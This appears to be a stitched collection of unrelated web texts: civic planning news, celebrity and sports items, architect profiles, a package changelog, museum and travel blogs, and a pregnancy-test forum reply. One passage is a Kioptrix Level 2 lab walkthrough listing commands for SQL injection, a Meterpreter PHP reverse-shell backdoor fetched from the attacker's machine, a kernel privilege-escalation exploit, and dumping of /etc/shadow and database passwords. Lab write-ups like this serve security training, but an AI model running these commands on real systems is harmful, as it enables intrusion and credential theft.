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(6/21/2010) (NEW HAVEN)--On June 24th, the City of New Haven will hold a community workshop in the Main New Haven Free Public Library at 133 Elm Street from 6:00 - 8:00 PM on Downtown Crossing, a design and development framework for the future Route 34 between State Street and the Air Rights Garage. When the current Route 34 was built as a depressed highway in the 1950�s, it left hundreds of displaced families and razed buildings in its wake, erased an entire urban neighborhood, and physically divided the city�s downtown core.
The Downtown Crossing project proposal aims to reshape the highway�s off-ramps and concrete barriers into a new neighborhood with the potential to provide new economic opportunities and means of sustainable transportation that will better serve New Haven�s future. Through this new development, the city will be able to further take advantage of its strategic position as the economic hub of South Central Connecticut and the state�s top city for health and biotechnology research to draw residents and up to 4,000 jobs to newly-constructed retail, office, research and residential space.
Downtown Crossing will recreate Route 34 as a boulevard at an urban, pedestrian-friendly scale that will reunite neighborhoods at New Haven�s central crossroads. This community workshop will give New Haven residents and businesspeople the opportunity to interact with designers, engineers and city officials to comment on and respond to the project�s challenges and prospects.
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LISTEN: Eminem makes PSA against piracy
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Eminem is speaking out against internet piracy in a fake public service announcement. In an audio recording posted on the Shady Records YouTube account, the rapper explains why illegal downloads are hurting the music industry.
The mock public service announcement then finds Slim Shady blaming piracy for causing him stress that led to drug use and a stint in rehab. While Em makes the consequences of piracy seem extreme, he ends the rant on a lighter note, admitting that if he had the opportunity to get free music when he was young, he would have done the same thing. However, he says that now that he raps for a living, his fans should go out and buy his music.
Eminem's announcement comes just days after his upcoming album, The Marshall Mathers LP 2, leaked online. The album is slated to hit stores on Tuesday.
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Edward Colin Cherry (1914 – 1979) was a British cognitive scientist whose main contributions were in focused auditory attention, specifically regarding the cocktail party problem. This concerns the problem of following only one conversation while many other conversations are going on around us. Cherry used shadowing tasks to study this problem, which involve playing two different auditory messages to a participant's left and right ears and instructing them to attend to only one. The participant must then shadow this attended message.
Cherry found that very little information about the unattended message was obtained by his participants: physical characteristics were detected but semantic characteristics were not. Cherry therefore concluded that unattended auditory information receives very little processing and that we use physical differences between messages to select which one we attend to.
He was educated at St Albans School (Hertfordshire) and Northampton Polytechnic (now City University) gaining his B.Sc. in 1936. After the war, during which he worked on radar research with the British Ministry of Aircraft Production, he taught at the Manchester College of Technology and then Imperial College, London. He was awarded the D.Sc. in 1956 and was appointed to the Chair of Telecommunications at Imperial College in 1968. In 1978 he was elected to a Marconi International Fellowship. His writings include On Human Communication (1957) and World Communication: Threat or Promise (1971)
- Cherry, E. C. (1953). Some experiments on the recognition of speech, with one and two ears. Journal of the Acoustical Society of America 25, pp. 975–979.
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|Distribution: openSUSE 12.2
|Version: 2.9.2
|Vendor: openSUSE
|Release: 6.1.2
|Build date: Mon Jul 16 14:31:32 2012
|Group: Productivity/Office/Organizers
|Build host: build08
|Size: 538014
|Source RPM: calcurse-2.9.2-6.1.2.src.rpm
|Packager: http://bugs.opensuse.org
|Url: http://calcurse.org
|Summary: Text-based Organizer
Calcurse is a text-based personal organizer which helps keep track of events and everyday tasks. It has a calendar and a "todo" list, and puts your appointments in order. The user interface is configurable, and you can choose between different color schemes and layouts. All of the commands are documented within an online help system.
* Thu Dec 15 2011 firstname.lastname@example.com - fix license to be in spdx.org format * Sat Sep 17 2011 firstname.lastname@example.com - Remove redundant tags/sections from specfile * Fri Sep 16 2011 email@example.com - update to 2.9.2 - Handle iCal line folding correctly. - Introduce a configure option to completely exclude the documentation subdirectory from the build process ("--disable-docs"). - changes in 2.9.1 - Keep the order of events across restarts (reported by Alan). - Fix the build process when disabling documentation generation. - Avoid flickering on window resize. - Avoid a segfault when resizing the calcurse window. - Add missing documentation for the "backword-kill-word" line editing function. - Honor the "TMPDIR" environment variable instead of using hardcoded paths for temporary files (reported by Erik Saule). - Fix pager invocation when showing the log file during an import (reported by Andraz Levstik). - Accept resource parameters in iCal import. Accept additional parameters such as language parameters (reported by Andraz Levstik). - Sync the notification item after editing or pasting an appointment. This ensures the information in the notification bar as well as the countdown for the notification daemon are always up-to-date (reported by Andraz Levstik). - Fix recurrent appointment notification. - Fix flagging of regular appointments. - Fix sort order when using command line options to display upcoming appointments and events (reported by Erik Saule). * Sun May 29 2011 email@example.com - update to 2.9.0: * add support for short form dates * add "backword-kill-word" line editing function * add automatic removal of notes that are empty after editing * add a Russian translation * fixes a segfault when resizing the help window were fixed * fixes lock file issues * fixes parsing of appointment end times that date back * Wed Jan 12 2011 email@example.com - minor spec cleanup (by Pascal) * Sat Nov 13 2010 email@example.com - drop calcurse-fix_missing_return_in_nonvoid_function.patch, has been merged upstream * Sun May 30 2010 email@example.com - update to 2.8: * adds a weekly calendar view that displays the week number and colored slices indicating appointment times * the side bar width can now be customized by the user * some bugs were addressed in this release, the most important being incorrect calculation of recurrent dates after a turn of year * Sat Aug 29 2009 email@example.com - update to 2.7: * a daemon was implemented so that reminders can now be sent while calcurse is running in the background * a new '--status' command line option was added for displaying information about already running instances * important bugs related to ical import and export were addressed in this release * Sun Jul 12 2009 email@example.com - update to 2.6 * Sat Dec 27 2008 firstname.lastname@example.com - update to 2.4: * add ability to define its own key bindings. * the layout configuration menu was redesigned to become more user-friendly * important bugs were addressed in this release: a memory leak due to a wrong use of the pthread library was fixed, and a possible freeze when deleting an appointment's note does not appear anymore * regarding data export, exception dates are now properly ignored * a daylight saving time unwanted offset is not added anymore
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After connecting via command line, the attacker sets about finding the real password for the admin panel instead of injecting to gain access. The attacker knows which database is used (via the source code of the login page), and browses the contents of the tables. The attacker finds 2 valid logins and tries them out. The first time, shows what happens if the login details are incorrect, the next login is from a "non admin" but a valid account, and the last login is the valid admin account. When the attacker was injecting it the admin account was not specified, the database would login as the first user, in which in most cases it is the admin account as it is usually the first user that is created.
The attacker can use MySQL to view files however just like before when using PHP injection because the exploited user is a limited account, it has limited access to the system however it is a different user from before, as it now is "mysql" rather than "apache".
The attacker tests the backdoor in order to get a remote shell again. However it is easier this time as they do not have to go though the hassle of injecting again. The attacker can just execute the php backdoor, this time done by visiting it directly on the web server, which results in the php code being executed.
After gaining access and exploiting the system gain root access, the attacker scans the system for ".mysql_history", which is a file that contains previous entered commands and views the contents when using the "root" account.
Commands *Due to the forums security, I'm unable to post the complete command list.*
NotesCode:start-network dhclient eth0 clear nmap 192.168.0.0/24 -n -sn -sP nmap 192.168.0.202 -p 1-65500 -O -sS -sV -v firefox http://192.168.0.202 -> User: admin -> Password: ' OR 1=1 -- - clear msfpayload | grep PHP msfpayload php/meterpreter/reverse_tcp LHOST=192.168.0.33 LPORT=8080 R > /var/www/backdoor.php.txt start-apache msfconsole use multi/handler search php set PAYLOAD php/meterpreter/reverse_tcp show options set LHOST 0.0.0.0 set LPORT 8080 show options exploit -j -z * kate -> /var/www/backdoor.php.txt. Remove "#". Save. ; ** /*** && **** -O bd.php 192.168.0.33/backdoor.php.txt && php -f bd.php sessions -l -v sessions -i 1 sysinfo shell uname -a; cat /etc/*-release; id; w Firefox: Search (exploit.db): Linux Kernel 2.6 -> Download #http://www.exploit-db.com/exploits/9542/ cp 9542.c /var/www/escpriv.c * cd /tmp * wget 192.168.0.33/escpriv.c * gcc escpriv.c -o rootMe * id * ./rootMe * id * whoami && cat /etc/issue * cp bd.php /var/www/html/backdoor.php # root only on folder! ^C y #n = interact 0 && background firefox http://192.168.0.202 ; cat index.php -> Right click -> View Source. --> User: john --> Passowrd: hiroshima --> Database: webapp ; mysql -u john -phiroshima -e "SHOW databases;" ; mysql -u john -phiroshima -e "USE mysql; SHOW tables;" ; mysql -u john -phiroshima -e "USE mysql; SELECT * FROM user;" mysql -h 192.168.0.202 -u root nmap 192.168.0.202 -sV -p 3306 ; mysql -u root -phiroshima -e "USE mysql; GRANT ALL PRIVILEGES ON *.* TO 'root'@'192.168.0.33';" #-D mysql #IDENTIFIED BY 'g0tmi1k';" nmap 192.168.0.202 -sV -p 3306 mysql -h 192.168.0.202 -u root SHOW databases; USE webapp; SHOW tables; SELECT * FROM users; #* firefox http://192.168.0.202/ #-->Login *fail*, john, admin SELECT load_file('/etc/passwd'); exit firefox http://192.168.0.202/backdoor.php sessions -i 2 shell *UNABLE TO POST THIS LINE OF CODE. SEE BLOG POST* * ** /***; ./rootMe * cat /root/.mysql_history * cat /etc/shadow * whoami && cat /etc/issue #--------------------------------------------------------------------- MySQL->history: root:Ha56!blaKAbl [???] MySQL->users: root:hiroshima [hash: 5a6914ba69e02807] MySQL->users: john:hiroshima [hash: 5a6914ba69e02807] MySQL->WebApp: admin:5afac8d85f [Type: Admin] MySQL->WebApp; john:66lajGGbla [Type: Non-admin] Shadow: root:$1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.:14529:0:99999:7::: Shadow: john:$1$wk7kHI5I$2kNTw6ncQQCecJ.5b8xTL1:14525:0:99999:7::: Shadow: harold:$1$7d.sVxgm$3MYWsHDv0F/LP.mjL9lp/1:14529:0:99999:7::: #---------------------------------------------------------------------
* When meterpreter is being hosted on the attacker's system, the file extension is ".txt", therefore it does not get executed like a php file would when called from wget on the targets system.
* The "document root" folder is only writeable by "root".
* The attacker did not have to kill the remote shell and could have been executed in it, however this method demonstrates if the backdoor failed to work or if the attacker did not wish to use one for whatever
* When connecting to MySQL remotely, a password is not required because when executing the "GRANT ALL PRIVILEGES" statement it did not include "IDENTIFIED BY 'g0tmi1k'" after the IP address. This would set the password to "g0tmi1k".
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Capture length: 22:32
Blog Post: http://g0tmi1k.blogspot.com/2011/02/video-kioptrix-level-2-injection.html
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When he talks about the concept of time, Andrés Duany, FAIA, takes on the enthusiastic manner of a star physics student. "Time is a fascinating fourth dimension that is so exciting to me," he says. "The present is irrelevant—it's actually confusing." As a planner, he explains, his role is to think about what a place will be like 10, 20, or even hundreds of years down the line. "Planning is all about the future," he adds. "Time is an ingredient we have that architects don't."
Duany and his wife and partner, Elizabeth (Lizz) Plater-Zyberk, FAIA, LEED AP, have been pondering the future for more than 30 years. Although they trained as architects (and still design buildings occasionally), they realized early on that the best way to affect the long-term built environment was to plan. So the Miami-based duo planned the Florida town of Seaside—still their most famous project—and then hundreds of neighborhoods, towns, and regions, all under the rubric of Duany Plater-Zyberk & Co. (DPZ). And they and four colleagues co-founded the Congress for the New Urbanism (CNU), in whose pedestrian-friendly principles all of their planning is based. Through both avenues, the couple have altered the public's perception of what responsible planning and development can achieve. New towns, suburban retrofits, and even revitalized city neighborhoods—the very existence of these contemporary project types owes a massive debt to DPZ.
auspicious beginnings
Long before they were New Urbanists, Duany and Plater-Zyberk sought out urbanity. Born to Cuban parents, Duany grew up in Barcelona, Spain, one of the world's great cities. Plater-Zyberk is the daughter of a Polish architect who immigrated in mid-career to Philadelphia's Main Line suburbs, a classic example of transit-oriented development. "We took the train to everything we did—to the dentist, the swim club, the Academy of Music," she recalls. She and Duany met as undergraduates at Princeton University in the early 1970s and moved on to Yale University for architecture school, where they met one of their foremost mentors, the art historian Vincent Scully. After Yale, both briefly worked in major cities—Plater-Zyberk in Philadelphia for Venturi and Rauch (later Venturi, Scott Brown and Associates), and Duany in New York City for Robert A.M. Stern Architects.
They moved to the Miami area in 1975 and subsequently started the modernist firm Arquitectonica with another dynamic young couple, Laurinda Spear, FAIA, ASLA, and Bernardo Fort-Brescia, FAIA. Duany and Plater-Zyberk settled in Coral Gables, Fla., in a 1927 Cape Dutch-style home where they still live today. Culture shock set in, as they searched for the sense of urban connectedness they'd previously known. "We missed urbanism," Duany recalls. A lecture given by another key mentor, the architect and planner Léon Krier, helped inspire them to leave Arquitectonica and start DPZ in 1980. One of their first planning projects was Seaside, for developer Robert Davis.
Duany and Plater-Zyberk designed the Gulf Coast resort town's master plan to evoke the physical character of places such as Charleston, S.C., and Key West, Fla. Its pedestrian-oriented street patterns, meticulous design codes, and mixed-use downtown were utterly unlike most post-World War II planned communities. "We knew nobody was doing traditional plans but thought we were just doing one place—not [making] a particular kind of statement," Plater-Zyberk says. Yet Seaside's pastel cottages and townhouses—by architects as varied as Deborah Berke, FAIA, LEED AP; Samuel Mockbee; and Aldo Rossi—captured the public imagination. The project started a national conversation on urban design and laid the groundwork for the New Urbanism movement, which has since become popular with home buyers and developers looking for denser, more walkable alternatives to urban sprawl.
Seaside also catapulted DPZ onto a path that's continued to the present day. The firm soon won commissions to plan high-profile, neo-traditional towns such as Windsor in Vero Beach, Fla., and Kentlands in Gaithersburg, Md. Its success also benefited the architects designing individual buildings for DPZ communities and gave rise to more practitioners of neo-traditional town planning. Duany and Plater-Zyberk's role in forming the CNU in 1993 (along with Peter Calthorpe, AIA; Elizabeth Moule; Stefanos Polyzoides; and Daniel Solomon, FAIA) added to their increasing renown.
global expansion
As they gathered acclaim and clients, Duany and Plater-Zyberk learned that the best way to work together was to divide up responsibilities. "The key thing is that we work on different projects," says Duany, who is known for his outspoken, charismatic personality. "One or the other of us is in charge of a project. I make the coffee; she makes the toast. Otherwise, if you're two people and you're completely equal, there's no calling off the discussion." These days, the elegant and diplomatic Plater-Zyberk leads only a few DPZ projects per year; her duties as dean of the University of Miami School of Architecture take up much of her time. Duany heads up many projects, as do firm partners Galina Tahchieva, LEED AP; Marina Khoury, LEED AP, of the Gaithersburg satellite office; and Tom Low, AIA, LEED AP, of the Charlotte, N.C., satellite office.
Additionally, DPZ now has three independent affiliates across the globe: DPZ Pacific, DPZ Europe, and DPZ Latin America. This setup lets the 34-person firm act like a bigger operation, amassing a team of architects, planners, and consultants anywhere on short notice. DPZ is known, in fact, for its openness to collaboration and for organizing large, intensive design charrettes. "We feel a charrette is the most efficient methodology for getting things done in a true-to-the-place way," Tahchieva says.
The firm's international reach has helped it weather the global economic crisis, although like everyone else DPZ is feeling the downturn's effects. "We're saying yes to smaller projects we might have said no to before," says senior project manager Xavier Iglesias. However, an impressive array of work remains in the pipeline. DPZ still designs new towns, but it also lends its energies to regional plans, urban revitalization and infill projects, and suburban retrofits. And the firm is devoting more and more time to writing form-based codes (rather than typical use-based codes) for municipalities all over the world—including its hometown, which in 2004 commissioned it to lead Miami 21, an ambitious overhaul of the city's zoning code.
DPZ also created the SmartCode, a free, modifiable development code first released in 2003 and downloadable online (www.smartcodecentral.orgweaetxdyvaydzcwq). SmartCode's availability is part of Duany and Plater-Zyberk's goal of fundamentally altering middle-class lifestyles. "The American middle class is the root cause of the environmental problems of the world," Duany says. "How it consumes land, how it eats, how it transports itself. It affects everything."
the long view
Over the years DPZ and New Urbanism have attracted not only flocks of followers, but also a fair amount of criticism. Many detractors dislike New Urbanists' frequent use of traditional architecture, and others feel the movement receives undue credit for fighting sprawl. Even opponents of New Urbanism admit that DPZ and like-minded firms have had a significant impact on urban design, though. "The combination of New Urbanism and transit-oriented development, and the return of Jane Jacobs' ideas, generated wider concern about mixed-use development," says Robert A. Beauregard, head of the urban planning program at Columbia University.
"Overall, the influence is positive. I'm not a big fan of New Urbanism, but they're forcing people like me to say, What do we have on our side?"
DPZ's supporters are legion, and through them Duany and Plater-Zyberk exert enormous influence. "You'll find hundreds of people who owe a debt to Lizz and Andrés' generosity," says former Seaside town architect Scott Merrill, AIA, principal of Merrill, Pastor & Colgan Architects in Vero Beach. Within DPZ, Khoury explains, "everybody has access to Lizz and Andrés. They're brilliant people, but they're also great teachers." Many former firm employees or students of Duany's or Plater-Zyberk's at the University of Miami have gone on to start their own companies, oftentimes teaming with DPZ on projects.
Others have absorbed the couple's New Urbanist teachings through programs Plater-Zyberk started at the university, including the interdisciplinary Knight Program in Community Building. Through countless lectures and several books, she and Duany have managed to propel their message beyond the usual boundaries of planning and architecture, into the world at large. "They're both authentic visionaries," says New York City-based Alexander Gorlin, FAIA, who has known them since the mid-1980s. Among their major achievements are Duany's leadership of the Mississippi Renewal Forum after Hurricane Katrina in 2005; Plater-Zyberk's 2008 appointment to the U.S. Commission of Fine Arts; and their joint 2008 acceptance of the Richard H. Driehaus Prize from the University of Notre Dame School of Architecture.


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Cubs' Alfonso Soriano out 2-to-4 weeks after injuring quad running the bases against the Mets
By RICK GANO, AP Sports Writer
August 5, 2007
CHICAGO (AP) -- Chicago Cubs star left fielder Alfonso Soriano strained his right quadriceps during Sunday's 8-3 loss to the New York Mets and will be sidelined 2-to-4 weeks.
Soriano singled with two outs in the third for Chicago's first hit and then tried to go to third on a single by Ryan Theriot. Soriano pulled up between second and third, favoring his right leg, and tried to hop to third base, where he was tagged out easily. He was then helped off the field.
"It's going to be a tough loss. I don't know what we'll do," Cubs manager Lou Piniella said. "Losing Soriano is the toughest thing about this homestand."
Soriano was replaced in left field by Cliff Floyd, who had been playing right. Mark DeRosa went from second base to right and Mike Fontenot entered the game at second.
The Mets were leading 1-0 at the time behind Tom Glavine, who became the 23rd pitcher with 300 wins.
Chicago remained one game behind the NL Central-leading Milwaukee Brewers.


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Description: The most classic of all fairy tales springs to life in this fast-paced musical production. Featuring a professional cast and live music, all the ingredients that have made the story a perennial favorite are here – ragged Cinderella, her cruel stepmother and selfish stepsisters, the ball, the handsome prince looking for a bride, the fairy godmother, the glass slipper, the search for the foot that fits it, and the happily-ever-after ending. This musical will delight the young and "young at heart."


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For several years now, John Syvertsen, FAIA, has been leading efforts within his Chicago firm to renovate and update what he calls "The Department of Good," also known as his architecture firm's public interest and pro bono efforts.
"We need to reposition this work," says Syvertsen, a senior principal at Cannon Design (whose Chicago office was the separate firm OWP/P until 2009). "The cost becomes not so much a matter of how we pay for it, but how we maximize the ability to make an impact. The cost is effort and the pay is impact."
Syvertsen believes that socially engaged design shouldn't be treated as a feel-good between-assignments nicety, but should be thoroughly integrated into the practice of architecture. His attitude taps into the zeitgeist among architects and other designers who feel social impact is an essential part of the profession. As a board member at Archeworks, a 19-year-old multidisciplinary postgraduate education program in Chicago that emphasizes public-interest design, Syvertsen has spearheaded "New Practice and Civic Innovation," a series of seminars on developing a higher-level model of pro bono work.
"There's a feeling that you can't relegate this kind of work to a one-off or [see it as] ancillary to the core business," says Susanne Schnell, Archeworks's executive director. "There is a great desire among younger designers to make it part of their core business, and we want to respond to that."
Archeworks received a 2012 Graham Foundation grant that helps fund the discussions and will help it to develop its next step: a public forum about the concept. Schnell sees that as a crucial piece of the project, because exposing the concept of integrated, socially engaged design to the larger population—in particular, the sorts of community groups and institutions that could benefit from large-scale thinking about design interventions on their behalf—gets out the word that architecture firms and other design professionals can bring their expertise to tackle civic problems.
Let's say a community group approaches an architecture firm about activating a vacant lot. As a one-off or short-term project, Schnell says, a practice might design an appealing solution for that lot. But when a firm takes on the challenge of looking at the bigger picture of urban landfill and soliciting the help of people in other disciplines, the result might be more like a neighborhood-wide approach to redeploying numerous vacant lots as a new social resource—such as a series of gardens or parks—over the course of several phases, Schnell says.
The integrated approach is also timely, both because younger architects and other designers want it, and because the current economic climate makes it compelling. "Junior staff really have a huge appetite for socially engaged design," Schnell says. "They understand that they're in a business, and they want to understand how to balance the pragmatic needs of running a practice with the desire to make a sustainable difference with their work."
Syvertsen concurs, and furthermore says that firms can reap rewards from elevating pro bono work to a higher status within the firm's framework. The young architects who work on these projects, he says, get hands-on training in developing, managing, and budgeting a project. In a sense, he says, it amounts to a kind of mentoring. "And that has implications for your recruitment and retention," he says, "because there's an increasingly large number of people coming out of school who have the expectation that the firm will support this type of work."
That's especially important during economic recoveries like the current one, he says. "The need is greater when bottom lines are pinched," he says. "But from the firm's standpoint, it keeps workers working and engaged." —Dennis Rodkin


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Entice customers to hop into your shop with this novelty design.
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The trend of
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flower—a ruffly pink carnation—along with two types of foliages and
several craft items. A simple square orange basket provides a vibrant
accent to the pink materials.
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"funny bunny"
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Art museums can be very strict about photography which is why there are no photos inside these sites. This sucks because I would've loved to share some pieces with you on this blog but, rules are rules.
**NOTE: Harold made me aware that he thoroughly detests contemporary art so he stayed home that day. Instead, his best friend Shamus came with us. So, if you see a green Irish bear popping up in photos, don't be alarmed.
The Institute of Contemporary Art (ICA) is one of the most impressive looking buildings in Boston. So impressive in fact, that it won the Harleston Parker Medal in 2007, awarded to "the most beautiful piece of architecture" in Boston. There needs to be an award for "Coolest Elevator" because the ICA would definitely win! The ICA was originally in the Back Bay part of the city but moved to Seaport District of South Boston in 2006. The mission of the ICA is to share the pleasures of reflection, inspiration, provocation, and imagination that contemporary art offers through public access to art, artists, and the creative process. (taken from the ICA's website...yeah, i hate footnotes.) Recognizing the fact that I know nothing about art then what I see outright in a piece of art and how it makes me feel and what it makes me think about, I can honestly say that I'm not a big fan of contemporary art. But, this blog isn't meant to be a review of the art. The ICA was surprisingly small and it seemed like my visit went by fast. There were large paintings, works that took up an entire hallway and some photography. The ICA showcased some works by Shephard Fairey and an exhibit of works by Mark Bradford. A big "Good Job" goes to the ICA for showcasing and celebrating art done by artists from the Boston area.
|Shamus in front of the ICA
|Shamus posing in front of a large work
Our next stop was the Museum of Fine Arts (MFA), a popular destination for people who are like me and don't know the details of appreciating art. This museum has been recommended to me ever since I moved here and I can see why. It is one of the largest museums in the country and contains over 450,000 works of art. The museum was founded in 1870 and opened in 1876. The present building was built in 1909. This place is a popular destination, especially on a holiday and especially when the museum opens it to the public for free. The offerings of the museum include art that range from European to American, paintings to photographs, and furniture to musical instruments. The highlight of the museum, at least in my opinion and artistic tastes, is the Art of the Americas wing. This wing showcases art from North America, Central America and South America. Some favorite pieces of mine that I discovered during my visit were Liu Xiaodong's "What to Drive Out?" and John Singer Sargent's "The Daughters of Edward Darley Boit. Childe Hassam's "Boston Common at Twilight" offered a small glimpse of Boston in the winter during the early 1900s. But the real highlights for me were the paintings of the colonial period. Gilbert Stuart's unfinished works of George and Martha Washington were mesmerizing. His portrait of George Washington became the most popular reproduction of the 1st President, which includes being the portrait that is now seen on the one dollar bill. However, nothing, and I mean NOTHING compares to the brilliance of "The Passage of the Delaware" by Thomas Sully. A gigantic work showing General George Washington leading his army across the Delaware River. If you visit this museum, try and catch the spotlight talk of this work which offers interesting stories regarding it.
No matter what your artistic tastes are, even if you're like me and don't have a clue as to what makes art good or bad, the Museum of Fine Art is definitely worth visiting. One of Boston's many jewels in its crown.
|Museum of Fine Art
So, lets talk about it now. Shortly after midnight on March 18, 1990, thieves disguised as police officers worked their way into the museum, handcuffing two security guards and stealing 13 works of art valued at over $500 million, including Vermeer's The Concert and Rembrandt's only seascape The Storm on the Sea of Galilee. The museum still displays the empty frames from these pieces. Some believe its because there is a strict provision in Gardner's will that forbids the collection from being altered in any way. This is not true, however, since only nine frames involved in the theft still hang. Despite there being a $5 million reward for information leading to the return of the works in good condition, the case still remains unsolved. The theft has spawned documentaries and books.
Its unfortunate that the Gardner Museum has been a victim of theft, but in all honesty, itdoes add to the attraction of this site. Other than that, the art is still compelling and the building itself can also be classified as a masterpiece just from the courtyard alone. Some of the most interesting pieces are letters from Presidents in whom Gardner admired, including one from George Washington in which he explained his nominations for certain posts to the father of Garnder's husband. Chalk the Gardner up as a "Must See" when visiting Boston. Even if you're not a fan of art, it makes for good conversation.


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5th January 2014 02:17 AM #1
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When is the best time to take pregnancy test?
When is the best time to take pregnancy test?
5th January 2014 07:00 AM #2
Hi jellyace,
You can take a home pregnancy test (this works by testing the levels of the pregnancy hormone hCG present in the urine) from the first day your period is due. Home pregnancy tests have different levels of sensitivity. Some are able to detect a pregnancy in the days leading up to your period, however, it is most reliable to wait until at least the day your period is due. Some doctors recommend testing for pregnancy at home one week after your period is due.
The pregnancy hormone approximately doubles in level every 48 hours in the first trimester.
If you get a positive (i.e. 'pregnant') result on a pregnancy test then this is highly, highly accurate. However, you may get a false negative result on a pregnancy test (i.e. the test says you are not pregnant when you actually are pregnant) if you test too early or you do not follow the manufacturer's instructions. You should also check that the test is in date.
You can do the pregnancy test in the morning because the level of hCG is most concentrated in the urine at this time.
Blood tests for hCG can be performed earlier than urine pregnancy tests.
Please do post back if you have any further questions about pregnancy tests.
Warm wishes,
9th January 2014 07:50 PM #3
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Okay, Thanks!


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About Sonoma CountyView a map of Sonoma County wineries
Twice as large as Napa in size, Sonoma County only makes about half as much wine as its northeasterly neighbor. Because of its vast size, however, Sonoma is able to achieve far more diversity within its borders, which include sub-AVAs that are climatically varied. The atmosphere of Sonoma is decidedly laid-back and down-to-earth, but the wines are serious and well-made, ranging in style from subtle and elegant to rich and powerful. Grape varieties are more varied here, from Pinot Noir and Zinfandel to Cabernet Sauvignon and Chardonnay.
Notable FactsThe largest sub-AVAs of Sonoma include Dry Creek Valley, Russian River Valley, Alexander Valley and Sonoma Valley. Each sub-AVA, with its own micro-climate, is unique in its grape varieties and styles of wine. Dry Creek makes a mean Zinfandel while Russian River produces stand up Pinot Noir and Chardonnay. The Alexander Valley makes some of the better Cabernet Sauvignons in the county and Sonoma Valley creates excellent wines from all the above varieties. Other grapes found throughout Sonoma include Sauvignon Blanc, Merlot and Syrah.
About California
The most famous of the California wine regions is Napa Valley, and these wines are certainly outstanding – but it's not as broad and diverse as its larger neighbor, Sonoma County. Down south, Santa Barbara's Santa Maria Valley is well-known for its Rhône blends, as well as cool-climate varieties like Pinot and Chardonnay. The Central Coast, the largest California AVA, has many different microclimates that lead to a wide range of wines with many sub-AVAs.


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Diplo announces world record twerk wall at Electric Zoo 2013
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Miley Cyrus isn't the only one who knows how to twerk, and Diplo wants to see who can shake it at Electric Zoo this weekend.
Diplo has announced a world record TWERK wall at the festival this year, and he is searching for 50 of the best twerkers to express themselves on stage during his performance!
How will he find these 50 talented booty-shaking machines? He is asking his twerk-crazy lady fans to submit their best twerk videos to email@example.com for free admission and a chance to show Electric Zoo - and the world - their best twerking abilities. (Note: All contestants much be 18+ and must be able to provide their own transportation to Randall's Island, New York. Winners will be notified via e-mail)
What are you waiting for! Twerk it out!
NYc GIRLS THAT WANT TO DANCE ON MY WORD RECORD TWERK WALL DURING ELECTRIC ZOO? need 50 girls can #expressthemselves email@example.com— saul goodman (@diplo) August 22, 2013
Seriously! Can you beat this?!


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Hey there, time traveller!
This article was published 26/4/2013 (1551 days ago), so information in it may no longer be current.
The most helpful Chichewa words I should have learned upon arrival in Lilongwe, Malawi, were Ndasochera (I am lost) and Ndingakafike bwanji ku Kumbali Lodge? (How do I get to Kumbali Lodge?)
Instead, being the polite Canadian, the first Chichewa words I learned were Zikomo Kwambiri (Thank you very much).
This did me little good as I walked back from Kusamala Farm to Kumbali Lodge. The five-minute journey by car that had seemed so simple in daylight was proving not so simple on foot at dusk. It was my first full day in Africa and I was lost.
I could barely see the red dirt road in front of me, curving first in one direction and then another. Finally, a glow of lights in the distance morphed into a cluster of huts, including a tiny roadside shack, its mud-brick walls topped with a thatch roof. Within the faint, fire-scented light stood an elderly man, his face lined like leather and his welcoming smile marked by a lack of teeth.
"Kumbali Lodge?" I asked, throwing my hands up in the air in what I hoped was the international gesture for "I'm lost, please help."
Confusion (mine) and perseverance (his) ensued, as he resorted to sign language when he realized I couldn't understand him. When I finally repeated his gestures back to him accurately, he rewarded me with a huge smile and vigorous nod. (And I did get to use my one Chichewa phrase as I thanked him.)
Then he waved me off, refusing my gesture to pay him with a shake of his head. His generosity made me wonder how someone travelling in a developing country could make a meaningful contribution to the local people, who I found so welcoming.
I found one answer in Pack For a Purpose, an organization that pairs travellers with destinations that need supplies. All it takes is extra room in your luggage and a willingness to pack what's needed.
Based in Raleigh, N.C., Pack For a Purpose was founded by Rebecca and Scott Rothney after their trip to Africa. On a subsequent visit, they delivered 64 kilograms of supplies to a school near their Botswana destination.
By finding out what schools and orphanages in the developing world need, Pack For a Purpose enables travellers to connect more closely with the cultures and people they meet on trips. Today, the organization is active in 47 countries and its members have transported 18,000 kilograms of supplies worldwide.
For my 16-day trip to Malawi, I organized a hockey bag with 46 kilograms of goods for Nathomba School, Children in the Wilderness and HELP Malawi. The items included pencils, notebooks, jewelry-making supplies and soccer balls, among many other things.
I was able to drop off the supplies in person to Nathomba School, where it was lovely to see the children who would be using what I'd brought.
The supplies would be divided between the three charities, based on their specific needs. For example, the jewelry-making supplies went to an after-school program that teaches the children of Nathomba School skills so they can sell the finished jewelry at markets or stores.
It did surprise me, however, to see on one of my trips near the lodge that I could have bought some of the supplies locally. So I'd recommend researching this before you leave home. You can ask Pack for a Purpose, your lodgings, the tour company or the charities involved what's available at your destination, and only pack items not available there. By shopping at your destination's bazaars and markets, you support the local currency and economy and you get an authentic experience with local people and customs.
In a country such as Malawi, where people walk several kilometres, often in bare feet, to get to school or the markets, contributing this way can help you feel less like a tourist and more like someone who cares.
Being lost and having to depend on the kindness of strangers to reach my destination parallels, in a way, how the people of Malawi and other developing nations must depend on the generosity of strangers to make their everyday lives a little easier. Pack For a Purpose is just one small but important way a traveller can make a difference.
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text: Investigators say that when Lance Armstrong told Oprah that he had not doped or used blood transfusions since 2005 for competing that he was lying. Apparently there is proof that when Lance returned to cycling in 2009, the blood tests show that he had received at least two transfusions and that is just when they tested him. That does not even count the times where he was not given tests. I think he wanted to try and prove that he had been clean for 7 years so cycling and the other sports where he wants to compete would give him a break. But, if he was doing the same thing in 2009 and 2010, then they will probably just keep him banned for a very long time.


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MORE FEAST NEWS!: We're celebrating the feast day of St. Timothy twice this week - the old-school way and the Space Age way.
You will recall, with stunning clarity, our Tuesday column, in which we went 'round and 'round with our chief theologian, Father Patrick Sheary, of St. Cornelius, over the date of the feast of St. Timothy, which we've always celebrated on Jan. 24, though the good padre insists that it's Jan. 26. We accused him of heresy, of course, because we can sure dish it out, but we can't take it.
Now comes a letter from a woman who, if we allowed women in our theology department, could replace Sheary at the helm.
Linda Page clears things up (perhaps) with the explanation that, "in the Traditional Roman Catholic calendar (Jan. 24) is, indeed, the feast of St. Timothy and it is observed on that day in any place where the Traditional Latin Mass is offered. There are many such places in the Roman Catholic Church that (legitimately) follow this calendar today."
She goes on to tell us that, at the time she sent us the email, we'd already missed the Latin 9 a.m. Mass at St. Anne's in San Diego, but we could still make the 6:30 p.m. Mass at St. Stephen the First Martyr in Sacramento.
